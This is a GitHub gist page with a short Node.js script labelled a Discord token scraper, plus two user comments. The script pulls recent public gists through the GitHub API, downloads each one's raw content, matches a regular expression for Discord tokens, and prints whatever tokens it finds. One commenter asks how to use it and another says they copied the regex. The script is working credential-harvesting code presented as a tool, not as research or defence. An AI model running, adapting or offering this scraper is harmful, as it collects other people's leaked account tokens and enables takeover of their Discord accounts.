Skip to content

Instantly share code, notes, and snippets.

@y21
Created October 28, 2018 13:16
Show Gist options
  • Save y21/2209ac23ee112b20c9a90ab4ca60ff74 to your computer and use it in GitHub Desktop.
Save y21/2209ac23ee112b20c9a90ab4ca60ff74 to your computer and use it in GitHub Desktop.
Discord token scraper (gists)
const fetch = require("node-fetch");
const regex = /[MN][A-Za-z\d]{23}\.[\w-]{6}\.[\w-]{27}/g;
fetch("https://api.github.com/gists")
.then(r => r.json())
.then(r => {
for (const gist of r) {
fetch(gist.files[Object.keys(gist.files)[0]].raw_url)
.then(rr => rr.text())
.then(rr => {
for (const match of (rr.match(regex) || [])) {
console.log(match);
}
});
}
});
@Unruly001
Copy link

Can you put me through how to use this? I love to learn

@Iinksafe
Copy link

Awesome RegExp! I've copied it too.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment